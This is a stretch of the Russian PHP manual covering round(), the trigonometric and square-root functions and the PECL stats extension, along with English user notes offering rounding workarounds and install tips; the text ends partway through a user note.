Use of <?php floor(pow(10, $precision) * $value) / pow(10, $precision); ?> fails in some cases, e.g. round_down(2.05, 2) gives incorrect 2.04.
Here is a "string" solution (https://stackoverflow.com/a/26491492/1245149) of the problem (a negative precision is not covered):

<?php
function round_down($value, $precision) {
    $value = (float)$value;
    $precision = (int)$precision;
    if ($precision < 0) {
        $precision = 0;
    }
    $decPointPosition = strpos($value, '.');
    if ($decPointPosition === false) {
        return $value;
    }
    return (float)(substr($value, 0, $decPointPosition + $precision + 1));
}
?>

Solving round_up() problem:
---------------------------
Use of <?php ceil(pow(10, $precision) * $value) / pow(10, $precision);?> fails in some cases, e.g. round_up(2.22, 2) gives incorrect 2.23 (https://stackoverflow.com/a/8239620/1245149).
Adapting the above round_down() "string" solution I have got this result (a negative precision is not covered):

<?php
function round_up($value, $precision) {
    $value = (float)$value;
    $precision = (int)$precision;
    if ($precision < 0) {
        $precision = 0;
    }
    $decPointPosition = strpos($value, '.');
    if ($decPointPosition === false) {
        return $value;
    }
    $floorValue = (float)(substr($value, 0, $decPointPosition + $precision + 1));
    $followingDecimals = (int)substr($value, $decPointPosition + $precision + 1);
    if ($followingDecimals) {
        $ceilValue = $floorValue + pow(10, -$precision); // does this give always right result?
    }
    else {
        $ceilValue = $floorValue;
    }
    return $ceilValue;
}
?>

I don't know it is bulletproof, but at least it removes the above mentioned fail. I have done no binary-to-decimal-math-analysis but if `$floorValue + pow(10, 0 - $precision)` works
always as expected then it should be ok.
Anonymous 31-Aug-2017 02:23
This function has strange. behaviors:

<?php
echo round(0.045, 2);      // 0.05
echo round(0.45, 1);      // 0.5
echo round(1.045-1, 2);    // 0.04 !!!
echo round(1.45-1, 1);      // 0.5
armanhakimsagar at gmail dot com 06-Aug-2017 02:25
$a = .9;

    $b = .8;

    $d = .1;

    $e = .2;

    $x = $a-$b;

    $y = $e-$d;

    $f = round($x,2);

    echo $f;

    if($f==$y){

        echo "ok";
    }
depaula at unilogica dot com 13-Jan-2017 05:51
As PHP doesn't have a a native number truncate function, this is my solution - a function that can be usefull if you need truncate instead round a number.

<?php
/**
 * Truncate a float number, example: <code>truncate(-1.49999, 2); // returns -1.49
 * truncate(.49999, 3); // returns 0.499
 * </code>
 * @param float $val Float number to be truncate
 * @param int f Number of precision
 * @return float
 */
function truncate($val, $f="0")
{
    if(($p = strpos($val, '.')) !== false) {
        $val = floatval(substr($val, 0, $p + 1 + $f));
    }
    return $val;
}
?>

Originally posted in http://stackoverflow.com/a/12710283/1596489
greghenle at gmail dot com 28-Nov-2016 09:25
/**
 * Round to first significant digit
 * +N to +infinity
 * -N to -infinity
 *
 */
function round1stSignificant ( $N ) {
  if ( $N === 0 ) {
    return 0;
  }

  $x = floor ( log10 ( abs( $N ) ) );

  return ( $N > 0 )
    ? ceil( $N * pow ( 10, $x * -1 ) ) * pow( 10, $x )
    : floor( $N * pow ( 10, $x * -1 ) ) * pow( 10, $x );
}

echo round1stSignificant( 39144818 ) . PHP_EOL;
echo round1stSignificant( 124818 ) . PHP_EOL;
echo round1stSignificant( 0.07468 ) . PHP_EOL;
echo round1stSignificant( 0 ) . PHP_EOL;
echo round1stSignificant( -0.07468 ) . PHP_EOL;

/**
 * Output
 *
 * 40000000
 * 200000
 * 0.08
 * 0
 * -0.08
 *
 */
Anonymous 17-Nov-2016 11:33
Note that PHP 5.3 didn't just introduce $mode, it rewrote the rounding implementation completely to eliminate many kinds of rounding errors common to rounding floating point values.

That's why round() gives you the correct result even when floor/ceil don't.
For example,  floor(0.285 * 100 + 0.5) VS round(0.285*100 + 0.5). First one gives 28, second one gives 29.

More details here: https://wiki.php.net/rfc/rounding
jongbumi at gmail dot com 12-May-2016 06:25
PHP 5.3, 5.4, 5.5
<?php
$fInfinty = pow(1000, 1000); // float(INF)
$fResult = round(123.456, $fInfinty); // double(123)
?>

PHP 5.6
<?php
$fInfinty = pow(1000, 1000); // float(INF)
$fResult = round(123.456, $fInfinty); // float(0)
?>

PHP 7
<?php
$fInfinty = pow(1000, 1000); // float(INF)
$fResult = round(123.456, $fInfinty); // null
?>
php at persignum dot com 03-Aug-2015 07:30
Because this function is missing round up and round down constants and the top note doesn't really show you how to round up or down to the nearest number, here is an easy way to always round up or always round down to the nearest number.

int is the number you want to round

n is the nearest number you want rounded to.

Round up to the nearest number

function round_up($int, $n) {
    return ceil($int / $n) * $n;
}

And to round down to the nearest number

function round_down(int, $n) {
    return floor($int / $n) * $n;
}
slimusgm at gmail dot com 02-Sep-2014 03:34
If you have negative zero and you need return positive number simple add +0:

$number = -2.38419e-07;
var_dump(round($number,1));//float(-0)
var_dump(round($number,1) + 0);//float(0)
serg at kalachev dot ru 24-Aug-2014 06:31
Excel-like ROUNDUP function:

public static function round_up($value, $places)
{
    $mult = pow(10, abs($places));
     return $places < 0 ?
    ceil($value / $mult) * $mult :
        ceil($value * $mult) / $mult;
}

echo round_up(12345.23, 1); // 12345.3
echo round_up(12345.23, 0); // 12346
echo round_up(12345.23, -1); // 12350
echo round_up(12345.23, -2); // 12400
echo round_up(12345.23, -3); // 13000
echo round_up(12345.23, -4); // 20000
esion99 at gmail dot com 01-Jul-2014 10:49
Unexpected result or misunderstanding (php v5.5.9)

<?php

echo round(1.55, 1, PHP_ROUND_HALF_DOWN); // 1.5
echo round(1.551, 1, PHP_ROUND_HALF_DOWN); //1.6

?>
spectrumcat at gmail dot com 19-Mar-2014 02:22
In case someone will need a "graceful" rounding (that changes it's precision to get a non 0 value) here's a simple function:

function gracefulRound($val, $min = 2, $max = 4) {
    $result = round($val, $min);
    if ($result == 0 && $min < $max) {
        return gracefulRound($val, ++$min, $max);
    } else {
        return $result;
    }
}

Usage:
$_ = array(0.5, 0.023, 0.008, 0.0007, 0.000079, 0.0000048);
foreach ($_ as $val) {
    echo "{$val}: ".gracefulRound($val)."\n";
}

Output:
0.5: 0.5
0.023: 0.02
0.008: 0.01
0.0007: 0.001
0.000079: 0.0001
0.0000048: 0
takingsides at gmail dot com 07-Mar-2014 03:00
In my opinion this function lacks two flags:

- PHP_ROUND_UP - Always round up.
- PHP_ROUND_DOWN - Always round down.

In accounting, it's often necessary to always round up, or down to a precision of thousandths.

<?php
function round_up($number, $precision = 2)
{
    $fig = (int) str_pad('1', $precision, '0');
    return (ceil($number * $fig) / $fig);
}

function round_down($number, $precision = 2)
{
    $fig = (int) str_pad('1', $precision, '0');
    return (floor($number * $fig) / $fig);
}
?>
djcox99 at googlemail dot com 13-Jan-2014 11:28
I discovered that under some conditions you can get rounding errors with round when converting the number to a string afterwards.

To fix this I swapped round() for number_format().

Unfortunately i cant give an example (because the number cant be represented as a string !)

essentially I had round(0.688888889,2);

which would stay as 0.68888889 when printed as a string.

But using number_format it correctly became 0.69.
craft at ckdevelop dot org 17-Dec-2013 01:34
function mround($val, $f=2, $d=6){
    return sprintf("%".$d.".".$f."f", $val);
}

echo mround(34.89999);  //34.90
dastra 12-Jul-2012 11:16
round() will sometimes return E notation when rounding a float when the amount is small enough - see  https://bugs.php.net/bug.php?id=44223 .  Apparently it's a feature.

To work around this "feature" when converting to a string, surround your round statement with an sprintf:

sprintf("%.10f", round( $amountToBeRounded, 10));
christian at deligant dot net 15-Sep-2011 01:24
this function (as all mathematical operators) takes care of the setlocale setting, resulting in some weirdness when using the result where the english math notation is expected, as the printout of the result in a width: style attribute!

<?php
$a=3/4;
echo round($a, 2); // 0.75

setlocale(LC_ALL, 'it_IT@euro', 'it_IT', 'it');
$b=3/4;
echo round($b,2); // 0,75
?>
omnibus at omnibus dot edu dot pl 19-Nov-2010 02:26
Beware strange behaviour if number is negative and precision is bigger than the actual number of digits after comma.

round(-0.07, 4);

returns

-0.07000000000000001

So if you validate it against a regular expression requiring the maximum amount of digits after comma, you'll get into trouble.
Anonymous 07-Oct-2010 04:07
Here is function that rounds to a specified increment, but always up. I had to use it for price adjustment that always went up to $5 increments.

<?php
function roundUpTo($number, $increments) {
    $increments = 1 / $increments;
    return (ceil($number * $increments) / $increments);
}
?>
feha at vision dot to 27-Aug-2010 07:59
Here is a short neat function to round minutes (hour) ...

<?php

function minutes_round ($hour = '14:03:32', $minutes = '5', $format = "H:i")
{
    // by Femi Hasani [www.vision.to]
    $seconds = strtotime($hour);
    $rounded = round($seconds / ($minutes * 60)) * ($minutes * 60);
    return date($format, $rounded);
}

?>

You decide to round to nearest minute ...
example will produce : 14:05
lossantis at ig dot com dot br 15-Jul-2010 07:02
Since the mode parameter for options like PHP_ROUND_HALF_UP is available as of PHP 5.3, here is an alternative for ceiling:

<?php echo 252 / 40; // 6.3 ?>

If I round this:

<?php echo round(252 / 40); // 6 ?>

You can also use a ceil (which might be useful for pagination):

<?php echo ceil(252/40); // 7 ?>

[Edited by: googleguy@php.net for clarity]
Anonymous 02-Nov-2009 08:52
This functions return ceil($nb) if the double or float value is bigger than "$nb.5" else it's return floor($nb)

<?php
    function arounds_int($nb) {

        if(!is_numeric($nb)) {
            return false;
        }

        $sup = round($nb);
        $inf = floor($nb);
        $try = (double) $inf . '.5' ;

        if($nb > $try) {
            return $sup;
        }

        return $inf;
    }
?>
michaeldnelson dot mdn at gmail dot com 25-Sep-2009 06:42
This function will let you round to an arbitrary non-zero number.  Zero of course causes a division by zero.

<?php
function roundTo($number, $to){
    return round($number/$to, 0)* $to;
}

echo roundTo(87.23, 20); //80
echo roundTo(-87.23, 20); //-80
echo roundTo(87.23, .25); //87.25
echo roundTo(.23, .25); //.25
?>
Bevan 17-Sep-2009 12:24
Formats a number to the specified number of significant figures.

<?php
/**
 * Formats numbers to the specified number of significant figures.
 *
 * @author Bevan Rudge, Drupal.geek.nz
 *
 * @param number $number
 *   The number to format.
 * @param integer $sf
 *   The number of significant figures to round and format the number to.
 * @return string
 *   The rounded and formatted number.
 */
function format_number_significant_figures($number, $sf) {
  // How many decimal places do we round and format to?
  // @note May be negative.
  $dp = floor($sf - log10(abs($number)));
  // Round as a regular number.
  $number = round($number, $dp);
  // Leave the formatting to format_number(), but always format 0 to 0dp.
  return number_format($number, 0 == $number ? 0 : $dp);
}
?>
martinr at maarja dot net 12-Jan-2008 03:40
Please note that the format of this functions output also depends on your locale settings. For example, if you have set your locale to some country that uses commas to separate decimal places, the output of this function also uses commas instead of dots.

This might be a problem when you are feeding the rounded float number into a database, which requires you to separate decimal places with dots.

See it in action:
<?php
    echo round('3.5558', 2);
    setlocale(constant('LC_ALL'), 'et_EE.UTF-8');
    echo '<br />'. round('3.5558', 2);
?>

The output will be:
3.56
3,56
maxteiber at gmail dot com 16-Oct-2006 05:15
the result of this function always depends on the underlying C function. There have been a lot of compiler bugs and floating-point precission problems involving this function. Right now the following code:

<?php
echo round(141.075, 2);
?>

returns:

141.07

on my machine.
So never really trust this function when you do critical calculations like accounting stuff!
Instead: use only integers or use string comparisons.
terry at scribendi dot com 12-Jan-2004 11:45
To round any number to a given number of significant digits, use log10 to find out its magnitude:

<?php round($n, ceil(0 - log10($n)) + $sigdigits); ?>

Or when you have to display a per-unit price which may work out to be less than a few cents/pence/yen you can use:

<?php
// $exp = currency decimal places - 0 for Yen/Won, 2 for most others
$dp = ceil(0 - log10($n)) + $sigdigits;
$display = number_format($amount, ($exp>$dp)?$exp:$dp);
?>

This always displays at least the number of decimal places required by the currency, but more if displaying the unit price with precision requires it - eg: 'English proofreading from $0.0068 per word', 'English beer from $6.80 per pint'.
php at silisoftware dot com 14-Aug-2002 02:15
Here's a function to round to an arbitary number of significant digits. Don't confuse it with rounding to a negative precision - that counts back from the decimal point, this function counts forward from the Most Significant Digit.

ex:

<?php
round(1241757, -3); // 1242000
RoundSigDigs(1241757, 3); // 1240000
?>

Works on negative numbers too. $sigdigs should be >= 0

<?php
function RoundSigDigs($number, $sigdigs) {
    $multiplier = 1;
    while ($number < 0.1) {
        $number *= 10;
        $multiplier /= 10;
    }
    while ($number >= 1) {
        $number /= 10;
        $multiplier *= 10;
    }
    return round($number, $sigdigs) * $multiplier;
}
?>
twan at ecreation dot nl 15-May-2000 06:51
If you'd only want to round for displaying variables (not for calculating on the rounded result) then you should use printf with the float:

<?php printf ("%6.2f",3.39532); ?>

This returns: 3.40 .


Синус

  • « round
  • sinh »
  • PHP Manual
  • Математические функции
  • Синус

sin

(PHP 4, PHP 5, PHP 7, PHP 8)

sin — Синус

Описание

sin(float $num): float

sin() возвращает синус параметра num. Параметр num задаётся в радианах.

Список параметров

num

Значение в радианах

Возвращаемые значения

Синус угла num

Примеры

Пример #1 Пример использования sin()

<?php

// Точность зависит от ваших настроек точности
echo sin(deg2rad(60)); // 0.866025403 ...
echo sin(60); // -0.304810621 ...

?>

Смотрите также

  • asin() - Вычисляет арксинус
  • sinh() - Гиперболический синус
  • cos() - Косинус
  • tan() - Тангенс
  • deg2rad() - Преобразует значение из градусов в радианы

User Contributed Notes

There are no user contributed notes for this page.


Гиперболический синус

  • « sin
  • sqrt »
  • PHP Manual
  • Математические функции
  • Гиперболический синус

sinh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

sinh — Гиперболический синус

Описание

sinh(float $num): float

Возвращает гиперболический синус num, определяемый как (exp($num) - exp(-$num))/2.

Список параметров

num

Входное значение

Возвращаемые значения

Гиперболический синус num

Смотрите также

  • sin() - Синус
  • asinh() - Гиперболический арксинус
  • cosh() - Гиперболический косинус
  • tanh() - Гиперболический тангенс

User Contributed Notes

There are no user contributed notes for this page.


Извлекает квадратный корень

  • « sinh
  • tan »
  • PHP Manual
  • Математические функции
  • Извлекает квадратный корень

sqrt

(PHP 4, PHP 5, PHP 7, PHP 8)

sqrt — Извлекает квадратный корень

Описание

sqrt(float $num): float

Возвращает квадратный корень числа, переданного в параметр num.

Список параметров

num

Аргумент для вычисления

Возвращаемые значения

Возвращает квадратный корень числа в параметре num или специальное значение NAN для отрицательных чисел.

Примеры

Пример #1 Пример использования sqrt()

<?php
// Точность зависит от ваших настроек точности
echo sqrt(9); // 3
echo sqrt(10); // 3.16227766 ...
?>

Смотрите также

  • pow() - Возведение в степень
  • M_SQRTPI - sqrt(pi)
  • M_2_SQRTPI - 2/sqrt(pi)
  • M_SQRT2 - sqrt(2)
  • M_SQRT3 - sqrt(3)
  • M_SQRT1_2 - 1/sqrt(2)

User Contributed Notes

There are no user contributed notes for this page.


Тангенс

  • « sqrt
  • tanh »
  • PHP Manual
  • Математические функции
  • Тангенс

tan

(PHP 4, PHP 5, PHP 7, PHP 8)

tan — Тангенс

Описание

tan(float $num): float

tan() возвращает тангенс параметра num. Параметр num задаётся в радианах.

Список параметров

num

Значение в радианах

Возвращаемые значения

Тангенс угла num

Примеры

Пример #1 Пример использования tan()

<?php

echo tan(M_PI_4); // 1

?>

Смотрите также

  • atan() - Вычисляет арктангенс
  • atan2() - Арктангенс двух переменных
  • sin() - Синус
  • cos() - Косинус
  • tanh() - Гиперболический тангенс
  • deg2rad() - Преобразует значение из градусов в радианы

User Contributed Notes

There are no user contributed notes for this page.


Гиперболический тангенс

  • « tan
  • Статистика »
  • PHP Manual
  • Математические функции
  • Гиперболический тангенс

tanh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

tanh — Гиперболический тангенс

Описание

tanh(float $num): float

Возвращает гиперболический тангенс num, определяемый как sinh($num)/cosh($num).

Список параметров

num

Входное значение

Возвращаемые значения

Гиперболический тангенс num

Смотрите также

  • tan() - Тангенс
  • atanh() - Вычисляет гиперболический арктангенс
  • sinh() - Гиперболический синус
  • cosh() - Гиперболический косинус

User Contributed Notes

There are no user contributed notes for this page.


Статистика

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции статистики
    • stats_absolute_deviation — Возвращает абсолютное отклонение массива значений
    • stats_cdf_beta — Вычисляет любой один параметр Бета-распределения на основе остальных заданных значений
    • stats_cdf_binomial — Вычисляет один из параметров биноминального распределения по остальным
    • stats_cdf_cauchy — Вычисляет один из параметров распределения Коши по остальным
    • stats_cdf_chisquare — Вычисляет один из параметров распределения хи-квадрат по остальным
    • stats_cdf_exponential — Вычисляет один из параметров экспоненциального распределения по остальным
    • stats_cdf_f — Вычисляет один из параметров распределения Фишера по остальным
    • stats_cdf_gamma — Вычисляет один из параметров Гамма-распределения по остальным
    • stats_cdf_laplace — Вычисляет один из параметров распределения Лапласа по остальным
    • stats_cdf_logistic — Вычисляет один из параметров логистического распределения по остальным
    • stats_cdf_negative_binomial — Вычисляет один из параметров Отрицательного Биноминального распределения по остальным
    • stats_cdf_noncentral_chisquare — Вычисляет один из параметров нецентрального распределения хи-квадрат по остальным
    • stats_cdf_noncentral_f — Вычисляет один из параметров нецентрального распределения Фишера по остальным
    • stats_cdf_noncentral_t — Вычисляет один из параметров нецентрального распределения Стьюдента в зависимости от остальных
    • stats_cdf_normal — Вычисляет один из параметров распределения в зависимости от остальных
    • stats_cdf_poisson — Вычисляет один из параметров распределения Пуассона по остальным
    • stats_cdf_t — Вычисляет один из параметров распределения Стьюдента по остальным
    • stats_cdf_uniform — Вычисляет один из параметров равномерного распределения по остальным
    • stats_cdf_weibull — Вычисляет один из параметров распределения Вейбулла по остальным
    • stats_covariance — Вычисляет ковариацию двух наборов данных
    • stats_dens_beta — Плотность вероятности бета-распределения
    • stats_dens_cauchy — Плотность вероятности распределения Коши
    • stats_dens_chisquare — Плотность вероятности распределения хи-квадрат
    • stats_dens_exponential — Плотность вероятности экспоненциального распределения
    • stats_dens_f — Плотность вероятности распределения Фишера
    • stats_dens_gamma — Плотность вероятности гамма-распределения
    • stats_dens_laplace — Плотность вероятности распределения Лапласа
    • stats_dens_logistic — Плотность вероятности логистического распределения
    • stats_dens_normal — Возвращает плотность вероятности нормального распределения
    • stats_dens_pmf_binomial — Вероятностная мера биноминального распределения
    • stats_dens_pmf_hypergeometric — Вероятностная мера гипергеометрического распределения
    • stats_dens_pmf_negative_binomial — Функция плотности вероятности негативного биноминального распределения
    • stats_dens_pmf_poisson — Вероятностная мера распределения Пуассона
    • stats_dens_t — Плотность вероятности распределения Стьюдента
    • stats_dens_uniform — Функция плотности вероятности равномерного распределения
    • stats_dens_weibull — Плотность вероятности распределения Вейбулла
    • stats_harmonic_mean — Возвращает среднее гармоническое массива значений
    • stats_kurtosis — Вычисляет эксцесс данных в массиве
    • stats_rand_gen_beta — Вычисляет случайное отклонение от бета-распределения
    • stats_rand_gen_chisquare — Вычисляет случайное отклонение от распределения хи-квадрат
    • stats_rand_gen_exponential — Вычисляет случайное отклонение от экспоненциального распределения
    • stats_rand_gen_f — Генерирует случайное отклонение от распределения Фишера
    • stats_rand_gen_funiform — Сгенерировать рациональное число от low (исключая) до high (исключая) на базе равномерного распределения
    • stats_rand_gen_gamma — Вычисляет случайное отклонение от гамма-распределения
    • stats_rand_gen_ibinomial_negative — Вычисляет случайное отклонение от отрицательного биноминального распределения
    • stats_rand_gen_ibinomial — Вычисляет случайное отклонение от биноминального распределения
    • stats_rand_gen_int — Генерирует случайное число в диапазоне от 1 до 2147483562
    • stats_rand_gen_ipoisson — Вычисляет случайное отклонение от распределения Пуассона
    • stats_rand_gen_iuniform — Генерирует целое число равномерно распределённое в диапазоне LOW (включая) и HIGH (включая)
    • stats_rand_gen_noncentral_chisquare — Генерирует случайное отклонение нецентрального распределения хи-квадрат
    • stats_rand_gen_noncentral_f — Вычисляет случайное отклонение от нецентрального распределения Фишера
    • stats_rand_gen_noncentral_t — Вычисляет единичное случайное отклонение от нецентрального распределения Стьюдента
    • stats_rand_gen_normal — Генерирует одно случайное отклонение от нормального распределения
    • stats_rand_gen_t — Генерирует одно случайное отклонение от t-распределения
    • stats_rand_get_seeds — Получает начальные значения генератора случайных чисел
    • stats_rand_phrase_to_seeds — Генерирует два начальных числа для генератора случайных чисел RGN
    • stats_rand_ranf — Генерирует случайное число с плавающей точкой от 0 до 1
    • stats_rand_setall — Устанавливает начальные значения для генератора случайных чисел
    • stats_skew — Вычисляет асимметрию данных в массиве
    • stats_standard_deviation — Возвращает стандартное отклонение
    • stats_stat_binomial_coef — Получить биноминальный коэффициент
    • stats_stat_correlation — Возвращает коэффициент корреляции Пирсона двух наборов данных
    • stats_stat_factorial — Факториал целого числа
    • stats_stat_independent_t — Получить значение t для двухвыборочного t-критерия Стьюдента для независимых выборок
    • stats_stat_innerproduct — Возвращает скалярное произведение двух векторов
    • stats_stat_paired_t — Получить значение t для двухвыборочного t-критерия Стьюдента для зависимых выборок
    • stats_stat_percentile — Возвращает значение процентиля
    • stats_stat_powersum — Возвращает степенную сумму вектора
    • stats_variance — Возвращает дисперсию

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль статистики. Он содержит несколько десятков функций, полезных для статистических вычислений. Это оболочка для двух научных библиотек, а именно DCDFLIB (Библиотека процедур C для функций кумулятивного распределения, инверсий и других параметров) от Б. Брауна & Дж. Лавато и RANDLIB Барри Брауна, Джеймса Лавато & Кэти Рассел. Включает функции CD и PD.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка
  • Настройка во время выполнения
  • Типы ресурсов

User Contributed Notes

crashulater at virtualcrash dot com 14-May-2018 09:12
example INSTALL
$ zcat php-stats-1.0.5.tar.gz | tar -xvf -
$ cd stats-1.0.5
$ phpize
$ ./configure --prefix=/usr --with-libdir=/usr/lib64 --with-php-config=/usr/bin/php-config
$ make
$ make test
# make install
# vi /etc/php.d/stats.ini
; Enable Statistical extension module
extension=stats.so
# /etc/init.d/httpd restart


Требования

Никаких внешних библиотек не требуется. Модуль поставляется в комплекте с используемыми библиотеками.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/stats.

Бинарные файлы Windows (файлы DLL) для этого модуля PECL доступны на сайте PECL.

User Contributed Notes

There are no user contributed notes for this page.


Функции статистики

Содержание

  • stats_absolute_deviation — Возвращает абсолютное отклонение массива значений
  • stats_cdf_beta — Вычисляет любой один параметр Бета-распределения на основе остальных заданных значений
  • stats_cdf_binomial — Вычисляет один из параметров биноминального распределения по остальным
  • stats_cdf_cauchy — Вычисляет один из параметров распределения Коши по остальным
  • stats_cdf_chisquare — Вычисляет один из параметров распределения хи-квадрат по остальным
  • stats_cdf_exponential — Вычисляет один из параметров экспоненциального распределения по остальным
  • stats_cdf_f — Вычисляет один из параметров распределения Фишера по остальным
  • stats_cdf_gamma — Вычисляет один из параметров Гамма-распределения по остальным
  • stats_cdf_laplace — Вычисляет один из параметров распределения Лапласа по остальным
  • stats_cdf_logistic — Вычисляет один из параметров логистического распределения по остальным
  • stats_cdf_negative_binomial — Вычисляет один из параметров Отрицательного Биноминального распределения по остальным
  • stats_cdf_noncentral_chisquare — Вычисляет один из параметров нецентрального распределения хи-квадрат по остальным
  • stats_cdf_noncentral_f — Вычисляет один из параметров нецентрального распределения Фишера по остальным
  • stats_cdf_noncentral_t — Вычисляет один из параметров нецентрального распределения Стьюдента в зависимости от остальных
  • stats_cdf_normal — Вычисляет один из параметров распределения в зависимости от остальных
  • stats_cdf_poisson — Вычисляет один из параметров распределения Пуассона по остальным
  • stats_cdf_t — Вычисляет один из параметров распределения Стьюдента по остальным
  • stats_cdf_uniform — Вычисляет один из параметров равномерного распределения по остальным
  • stats_cdf_weibull — Вычисляет один из параметров распределения Вейбулла по остальным
  • stats_covariance — Вычисляет ковариацию двух наборов данных
  • stats_dens_beta — Плотность вероятности бета-распределения
  • stats_dens_cauchy — Плотность вероятности распределения Коши
  • stats_dens_chisquare — Плотность вероятности распределения хи-квадрат
  • stats_dens_exponential — Плотность вероятности экспоненциального распределения
  • stats_dens_f — Плотность вероятности распределения Фишера
  • stats_dens_gamma — Плотность вероятности гамма-распределения
  • stats_dens_laplace — Плотность вероятности распределения Лапласа
  • stats_dens_logistic — Плотность вероятности логистического распределения
  • stats_dens_normal — Возвращает плотность вероятности нормального распределения
  • stats_dens_pmf_binomial — Вероятностная мера биноминального распределения
  • stats_dens_pmf_hypergeometric — Вероятностная мера гипергеометрического распределения
  • stats_dens_pmf_negative_binomial — Функция плотности вероятности негативного биноминального распределения
  • stats_dens_pmf_poisson — Вероятностная мера распределения Пуассона
  • stats_dens_t — Плотность вероятности распределения Стьюдента
  • stats_dens_uniform — Функция плотности вероятности равномерного распределения
  • stats_dens_weibull — Плотность вероятности распределения Вейбулла
  • stats_harmonic_mean — Возвращает среднее гармоническое массива значений
  • stats_kurtosis — Вычисляет эксцесс данных в массиве
  • stats_rand_gen_beta — Вычисляет случайное отклонение от бета-распределения
  • stats_rand_gen_chisquare — Вычисляет случайное отклонение от распределения хи-квадрат
  • stats_rand_gen_exponential — Вычисляет случайное отклонение от экспоненциального распределения
  • stats_rand_gen_f — Генерирует случайное отклонение от распределения Фишера
  • stats_rand_gen_funiform — Сгенерировать рациональное число от low (исключая) до high (исключая) на базе равномерного распределения
  • stats_rand_gen_gamma — Вычисляет случайное отклонение от гамма-распределения
  • stats_rand_gen_ibinomial_negative — Вычисляет случайное отклонение от отрицательного биноминального распределения
  • stats_rand_gen_ibinomial — Вычисляет случайное отклонение от биноминального распределения
  • stats_rand_gen_int — Генерирует случайное число в диапазоне от 1 до 2147483562
  • stats_rand_gen_ipoisson — Вычисляет случайное отклонение от распределения Пуассона
  • stats_rand_gen_iuniform — Генерирует целое число равномерно распределённое в диапазоне LOW (включая) и HIGH (включая)
  • stats_rand_gen_noncentral_chisquare — Генерирует случайное отклонение нецентрального распределения хи-квадрат
  • stats_rand_gen_noncentral_f — Вычисляет случайное отклонение от нецентрального распределения Фишера
  • stats_rand_gen_noncentral_t — Вычисляет единичное случайное отклонение от нецентрального распределения Стьюдента
  • stats_rand_gen_normal — Генерирует одно случайное отклонение от нормального распределения
  • stats_rand_gen_t — Генерирует одно случайное отклонение от t-распределения
  • stats_rand_get_seeds — Получает начальные значения генератора случайных чисел
  • stats_rand_phrase_to_seeds — Генерирует два начальных числа для генератора случайных чисел RGN
  • stats_rand_ranf — Генерирует случайное число с плавающей точкой от 0 до 1
  • stats_rand_setall — Устанавливает начальные значения для генератора случайных чисел
  • stats_skew — Вычисляет асимметрию данных в массиве
  • stats_standard_deviation — Возвращает стандартное отклонение
  • stats_stat_binomial_coef — Получить биноминальный коэффициент
  • stats_stat_correlation — Возвращает коэффициент корреляции Пирсона двух наборов данных
  • stats_stat_factorial — Факториал целого числа
  • stats_stat_independent_t — Получить значение t для двухвыборочного t-критерия Стьюдента для независимых выборок
  • stats_stat_innerproduct — Возвращает скалярное произведение двух векторов
  • stats_stat_paired_t — Получить значение t для двухвыборочного t-критерия Стьюдента для зависимых выборок
  • stats_stat_percentile — Возвращает значение процентиля
  • stats_stat_powersum — Возвращает степенную сумму вектора
  • stats_variance — Возвращает дисперсию

User Contributed Notes

Anonymous 07-May-2013 03:09
The source code actually has much more complete documentation (more functions, a better description of what they do, and parameters). You can see the latest here:
http://svn.php.net/viewvc/pecl/stats/trunk/

Notably, try clicking the latest revision number for php_stats.c
oliver at realtsp dot com 25-Jul-2008 01:17
There are some undocumented functions in this extension, eg I found the following by reading the DCDFLIB docs and some trial and error:

<?php

/**
 * stats_cdf_normal($x, $mean, $sd, 1)
 * @return float cumulative probablity
 */
echo stats_cdf_normal(1.96, 0, 1, 1) . "\n";

/**
 * stats_cdf_normal($p, $mean, $sd, 1)
 * @return float x which bounds cumulative probalility $p
 */
echo stats_cdf_normal(0.975, 0, 1, 2) . "\n";

// less useful
// echo stats_cdf_normal(0.4,0.5,0.6,3) . "\n";
// echo stats_cdf_normal(0.4,0.5,0.6,4) . "\n";
?>


Возвращает абсолютное отклонение массива значений

  • « Функции статистики
  • stats_cdf_beta »
  • PHP Manual
  • Функции статистики
  • Возвращает абсолютное отклонение массива значений

stats_absolute_deviation

(PECL stats >= 1.0.0)

stats_absolute_deviation — Возвращает абсолютное отклонение массива значений

Описание

stats_absolute_deviation(array $a): float

Возвращает абсолютное отклонение значений в a.

Список параметров

a

Входной массив

Возвращаемые значения

Возвращает абсолютное отклонение значений в a или false, если a пуст или не является массивом.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет любой один параметр Бета-распределения на основе остальных заданных значений

  • « stats_absolute_deviation
  • stats_cdf_binomial »
  • PHP Manual
  • Функции статистики
  • Вычисляет любой один параметр Бета-распределения на основе остальных заданных значений

stats_cdf_beta

(PECL stats >= 1.0.0)

stats_cdf_beta — Вычисляет любой один параметр Бета-распределения на основе остальных заданных значений

Описание

stats_cdf_beta(
float $par1,
float $par2,
float $par3,
int $which
): float

Возвращает кумулятивную функцию бета-распределения, обратную ей или один из своих параметров. Вид возвращаемого значения и параметров (par1, par2 и par3) определяются параметром which.

В следующей таблице перечислены возвращаемое значение и параметры в зависимости от which. CDF, x, alpha и beta обозначает функцию кумулятивного распределения, значение случайной величины и параметры формы бета-распределения соответственно.

Возвращаемое значение и параметры
which | Возвращаемое значение | par1 | par2 | par3
1 | CDF | x | alpha | beta
2 | x | CDF | alpha | beta
3 | alpha | x | CDF | beta
4 | beta | x | CDF | alpha

Список параметров

par1

Первый параметр

par2

Второй параметр

par3

Третий параметр

which

Флаг, определяющий, что будет возвращено

Возвращаемые значения

Возвращает CDF, x, alpha или beta, в зависимости от значения which.

User Contributed Notes

n15m0_jk 21-Sep-2016 08:23
Decided to dive into the source code and provide a simple explanation:

Parameters:
int $which - Select which parameter to use in the CDF Binomial calculation, based on what the prior 3 parameters are.

where $which is 4:
$arg1 = p
$arg2 = sn
$arg3 = xn
returns pr

$which = 3
$arg1 = p
$arg2 = sn
$arg3 = pr
returns xn

$which = 2
